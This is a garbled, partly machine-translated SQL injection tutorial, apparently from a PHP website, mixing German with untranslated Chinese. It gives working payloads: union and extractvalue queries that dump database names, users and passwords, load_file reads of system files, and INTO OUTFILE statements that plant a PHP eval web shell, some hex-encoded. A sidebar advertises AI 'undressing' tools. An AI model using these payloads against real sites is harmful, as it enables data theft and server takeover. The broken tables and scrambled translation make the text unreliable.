Machen Sie sich mit der SQL-Injection vertraut (Details)
Dieser Artikel vermittelt Ihnen Wissen über die SQL-Injection. Dabei handelt es sich um ein Verhalten, bei dem der Server die vom Client gesendeten Daten nicht streng überprüft, was dazu führt, dass die serverseitige SQL-Anweisung böswillig geändert und erfolgreich ausgeführt wird hilfreich für alle.
Was ist SQL?
Structured Query Language (SQL) ist eine spezielle Programmiersprache, die für Standarddatenabfragen in Datenbanken verwendet wird. Im Oktober 1986 standardisierte das American National Standards Institute SQL und verwendete es als Standardsprache für relationale Datenbanksysteme. 1987 erhielt es Unterstützung von der International Standards Organization und wurde zu einem internationalen Standard.
Was ist SQL-Injection? SQL-Injection ist ein Verhalten, bei dem der Server die vom Client gesendeten Daten nicht streng überprüft, was dazu führt, dass die serverseitige SQL-Anweisung in böswilliger Absicht geändert und erfolgreich ausgeführt wird. Prinzip der Sicherheitsanfälligkeit
SQL-Hinweis⼊ Angriff Das Verhalten kann als Angriffsverhalten beschrieben werden, das SQL-Syntax in vom Benutzer steuerbare Parameter einfügt, die ursprüngliche SQL-Struktur zerstört und beim Schreiben von Programmen unerwartete Ergebnisse erzielt. Die Ursache kann auf die Überlagerung der folgenden beiden Gründe zurückgeführt werden.
- Die Ursache der Sicherheitslücke
- Der Benutzer kann die Eingabe kontrollieren
- Warum gibt es eine SQL-Injection
- Codeübereinstimmung Die Parameterfilterung in der SQL-Anweisung ist nicht streng
- Die Testschnittstelle wird nicht gelöscht
- Die Firewall ist nicht aktiviert.
- Es wird kein anderer Sicherheitsschutz verwendet. Gerät Das heißt, wo die Webanwendung Benutzereingaben erhält, besteht die Möglichkeit einer SQL-Injection. Diese Orte umfassen normalerweise:
- GET-Daten
- POST-Daten
- Cookie-Daten
HTTP Header (andere Felder im HTTP-Header)
Gefahren von Schwachstellen
- Datenbankinformationsverlust, Erfassung, Änderung sensibler Daten: Verlust privater Benutzerinformationen (Konto, Passwort), die in der Datenbank gespeichert sind
- Anmeldeüberprüfung umgehen: Verwenden Sie ein universelles Passwort, um sich beim Website-Backend usw. anzumelden.
- Dateisystemvorgänge: Verzeichnisse auflisten, Dateien lesen, schreiben usw.
- Manipulation von Webseiten: Manipulation bestimmter Webseiten durch Betreiben der Datenbank, Einbetten von Netzwerk-Pferdelinks
Registry-Vorgänge: Lesen, Schreiben, Löschen der Registry usw System
- Übermittlungsmethoden
- Zu den Übermittlungsmethoden gehören: Get, Post, Cookie, Request usw. Darunter: Support anfordern. Die Genauigkeit ist gut. Sie können Parameter im Get-Modus, Post-Modus oder Cookie-Modus übermitteln Injektionspunkt
- wird versuchen, Daten an der Stelle zu übermitteln, an der der Injektionspunkt vermutet wird, oder hinter den Parametern, um zu beurteilen, ob eine SQL-Injection-Schwachstelle vorliegt.
- Testdaten
- Testurteil
Ob Datenbankfehlerinformationen angezeigt werden sollen; ob die zurückgegebene Seite unterschiedlich ist (Zeichentyp oder numerischer Typ) | Fehlerberichtsinjektion | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Die echoed page Ob es anders ist (bestimmen Sie, ob die Seite einen booleschen Typstatus hat) | Boolesche Blindinjektion | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
' 或" Bestimmen Sie die Rückkehrzeit der Seite |
verzögerte Injektion | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Flucht bestimmen | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Hinweis: Wenn beim Testen einer Website 404 angezeigt wird, bedeutet dies, dass die Website geschützt ist. Bestimmen Sie, ob der Zeichentyp ein Zeichentyp oder ein numerischer Typ ist.Wie unten gezeigt, sind Parameter wie Auf die ID folgt Es handelt sich um einen numerischen Typ (es kann sich auch um einen Zeichentyp handeln), und auf andere Parameter folgt ein Zeichentyp SQL-Injection-Bypass
Wenn einige Zeichenfolgen wirklich eingeschränkt sind, können wir einige Codierungsumgehungen ausprobieren.
/*!...*/
在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/*后头加了感叹号
获取网站路径路径常见获取方法:
别用百度,用谷歌搜索 漏洞报错、平台配置文件、爆破等 SQL 注入读写文件可以利用SQL 注入漏洞进行文件读写。 1. 数据库支持文件读写这里涉及到1个变量
secure_file_priv , die in höheren Versionen von MySQL-Datenbanken eingeschränkt ist Exportgeschäfte. Um diesen Parameter zu konfigurieren, müssen Sie die Konfigurationsdatei my.ini ändern und den MySQL-Dienst neu starten 🎜🎜🎜🎜 secure_file_priv=NULL🎜🎜Mysqld so einschränken, dass keine Import- und Exportvorgänge zulässig sind🎜🎜🎜🎜secure_file_priv='c:/a/'🎜🎜beschränkt die Import- und Exportvorgänge von mysqld auf ein festes Verzeichnis und Unterverzeichnisse sind gültig🎜 🎜🎜🎜secure_file_priv =🎜🎜Keine Einschränkungen für die Import- und Exportvorgänge von mysqld🎜🎜🎜🎜修改配置文件,对读写不做限制,文件路径 2. 当前用户具有文件权限
?id=-1'union select 1,current_user(),3 --+ Nach dem Login kopieren
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+ Nach dem Login kopieren 方法2: select File_priv from mysql.user where user="root" and host="localhost"; Nach dem Login kopieren 3. 知道文件绝对路径
下面两种方法一样 ?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+ ?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+ Nach dem Login kopieren
写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址 # 1. 直接写 ?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+ Nach dem Login kopieren 写一句话木马 # 1. 直接写 ?id=1' and 1=2 union select 1,'=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+ Nach dem Login kopieren 查询方式及报错盲注⭐在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。 更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》 查询方式重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
举例:
举例:
举例:
举例:
举例: 报错盲注盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
报错模板:https://www.jianshu.com/p/bc35f8dd4f7c 报错注入函数
利用的就是mysql函数参数格式错误进行报错注入。 updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);
适用版本是:5.1.5+ 利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
利用的原理是xpath格式不符报错注入。 函数语法:extractvalue(XML_document,XPath_string) 1. 获取当前是数据库名称及使用mysql数据库的版本信息: and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) 2. 获取当前注入点的用户权限信息及操作系统版本信息: and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e)) 3. 获取当前位置所用数据库的位置: and extractvalue(1,concat(0x7e,@@datadir,0x7e)) 4. 获取数据表信息: and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) 5. 获取users数据表的列名信息: and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) 6. 获取对应的列名的信息(username\password): and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) Nach dem Login kopieren 二次注入二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。 原理二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。 实施步骤
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
举例这里使用的是sql-libs靶场的第24关
Die Nutzungsbedingungen der Stapelinjektion sind sehr begrenzt. Sie kann durch API, Datenbank-Engine oder Berechtigungen eingeschränkt sein. Sie kann nur verwendet werden, wenn Datenbankfunktionen aufgerufen werden, um die Ausführung zu unterstützen Die Funktion mysqli_multi_query() unterstützt die gleichzeitige Ausführung mehrerer SQL-Anweisungen. Um jedoch beispielsweise den SQL-Injection-Mechanismus zu verhindern, verwendet PHP die Funktion, die die Funktion aufruft Die Datenbank ist die Funktion mysqli_query(), die nur eine Anweisung ausführen kann. Der Inhalt nach dem Semikolon wird nicht ausgeführt, sodass man sagen kann, dass die Nutzungsbedingungen der Stapelinjektion sehr begrenzt sind Eine große Bedrohung für die Website
DNSlog ist der auf dem DNS-Server gespeicherte Domänenname, der die Zugriffsinformationen des Benutzers auf den Domänennamen www.baidu.com usw. aufzeichnet, ähnlich einer Protokolldatei. Weitere Vorgänge finden Sie unter „Eine kurze Analyse der praktischen Fähigkeiten von DNSlog beim Penetrationstest“Brain Map 注意事项: DNSlogDNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。更多操作参见浅析DNSlog在渗透测试中的实战技巧 脑图常见数据库,及注入相关⭐MySQL、SQLServer、Oracle、PostgreSQL、Access五种数据库应该是目前市面上最流行的数据库了。我们进行渗透测试,碰到最多的也是这几种数据库。本文就这几种数据库在注入时的相同点和不同的做一下统计。 注释符、数据库端口
|
Das obige ist der detaillierte Inhalt vonMachen Sie sich mit der SQL-Injection vertraut (Details). Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



Nginx ist ein schneller, leistungsstarker und skalierbarer Webserver, und seine Sicherheit ist ein Problem, das bei der Entwicklung von Webanwendungen nicht ignoriert werden darf. Insbesondere SQL-Injection-Angriffe, die Webanwendungen großen Schaden zufügen können. In diesem Artikel besprechen wir, wie man mit Nginx SQL-Injection-Angriffe verhindert und so die Sicherheit von Webanwendungen schützt. Was ist ein SQL-Injection-Angriff? Der SQL-Injection-Angriff ist eine Angriffsmethode, die Schwachstellen in Webanwendungen ausnutzt. Angreifer können Schadcode in Webanwendungen einschleusen

0x01 Vorwort Übersicht Der Herausgeber hat einen weiteren doppelten Datenüberlauf in MySQL entdeckt. Wenn wir die Funktionen in MySQL erhalten, interessiert sich der Editor mehr für die mathematischen Funktionen. Sie sollten auch einige Datentypen zum Speichern von Werten enthalten. Daher führte der Editor einen Test durch, um festzustellen, welche Funktionen Überlauffehler verursachen würden. Dann stellte der Editor fest, dass die Funktion exp() einen Überlauffehler verursacht, wenn ein Wert größer als 709 übergeben wird. mysql>selectexp(709);+---------+|exp(709)|+---------- - -----------+|8.218407461554972

Hinweise zur Laravel-Entwicklung: Methoden und Techniken zur Verhinderung von SQL-Injection Mit der Entwicklung des Internets und der kontinuierlichen Weiterentwicklung der Computertechnologie ist die Entwicklung von Webanwendungen immer häufiger geworden. Während des Entwicklungsprozesses war Sicherheit schon immer ein wichtiges Thema, das Entwickler nicht ignorieren können. Unter anderem ist die Verhinderung von SQL-Injection-Angriffen eines der Sicherheitsprobleme, das während des Entwicklungsprozesses besondere Aufmerksamkeit erfordert. In diesem Artikel werden verschiedene Methoden und Techniken vorgestellt, die häufig in der Laravel-Entwicklung verwendet werden, um Entwicklern dabei zu helfen, SQL-Injection wirksam zu verhindern. Parameterbindung verwenden Die Parameterbindung ist Lar

PHP-Programmiertipps: So verhindern Sie SQL-Injection-Angriffe Sicherheit ist bei der Durchführung von Datenbankoperationen von entscheidender Bedeutung. SQL-Injection-Angriffe sind ein häufiger Netzwerkangriff, der die unsachgemäße Verarbeitung von Benutzereingaben durch eine Anwendung ausnutzt, was dazu führt, dass bösartiger SQL-Code eingefügt und ausgeführt wird. Um unsere Anwendung vor SQL-Injection-Angriffen zu schützen, müssen wir einige Vorsichtsmaßnahmen treffen. Verwenden Sie parametrisierte Abfragen. Parametrisierte Abfragen sind die einfachste und effektivste Möglichkeit, SQL-Injection-Angriffe zu verhindern. Es funktioniert durch den Vergleich vom Benutzer eingegebener Werte mit einer SQL-Abfrage

Überblick über die Erkennung und Behebung von PHP-SQL-Injection-Schwachstellen: SQL-Injection bezeichnet eine Angriffsmethode, bei der Angreifer Webanwendungen verwenden, um böswillig SQL-Code in die Eingabe einzuschleusen. PHP ist eine in der Webentwicklung weit verbreitete Skriptsprache und wird häufig zur Entwicklung dynamischer Websites und Anwendungen verwendet. Aufgrund der Flexibilität und Benutzerfreundlichkeit von PHP ignorieren Entwickler jedoch häufig die Sicherheit, was zur Entstehung von SQL-Injection-Schwachstellen führt. In diesem Artikel wird beschrieben, wie SQL-Injection-Schwachstellen in PHP erkannt und behoben werden, und es werden relevante Codebeispiele bereitgestellt. überprüfen

Im Bereich der Netzwerksicherheit sind SQL-Injection-Angriffe eine gängige Angriffsmethode. Es nutzt von böswilligen Benutzern übermittelten Schadcode aus, um das Verhalten einer Anwendung zu ändern und unsichere Vorgänge auszuführen. Zu den gängigen SQL-Injection-Angriffen gehören Abfragevorgänge, Einfügevorgänge und Löschvorgänge. Unter diesen werden Abfrageoperationen am häufigsten angegriffen, und eine gängige Methode zur Verhinderung von SQL-Injection-Angriffen ist die Verwendung von PHP. PHP ist eine häufig verwendete serverseitige Skriptsprache, die häufig in Webanwendungen verwendet wird. PHP kann mit MySQL usw. zusammenhängen.

PHP-Formularfilterung: Verhinderung und Filterung von SQL-Injections Einführung: Mit der rasanten Entwicklung des Internets ist die Entwicklung von Webanwendungen immer häufiger geworden. In der Webentwicklung sind Formulare eine der häufigsten Formen der Benutzerinteraktion. Allerdings bestehen bei der Verarbeitung der Daten zur Formularübermittlung Sicherheitsrisiken. Eines der häufigsten Risiken sind SQL-Injection-Angriffe. Ein SQL-Injection-Angriff ist eine Angriffsmethode, bei der eine Webanwendung dazu verwendet wird, Benutzereingabedaten falsch zu verarbeiten, sodass der Angreifer nicht autorisierte Datenbankabfragen durchführen kann. Der Angreifer passiert die

SQL-Injection ist eine gängige Netzwerkangriffsmethode, die die unvollständige Verarbeitung von Eingabedaten durch die Anwendung nutzt, um erfolgreich schädliche SQL-Anweisungen in die Datenbank einzuschleusen. Diese Angriffsmethode kommt besonders häufig bei Anwendungen vor, die mit der PHP-Sprache entwickelt wurden, da PHP normalerweise relativ schwach mit Benutzereingaben umgeht. In diesem Artikel werden einige Strategien zum Umgang mit SQL-Injection-Schwachstellen vorgestellt und PHP-Codebeispiele bereitgestellt. Verwendung vorbereiteter Anweisungen Vorbereitete Anweisungen sind eine empfohlene Methode zum Schutz vor SQL-Injection. Es verwendet Bindungsparameter, um Eingabedaten zu kombinieren
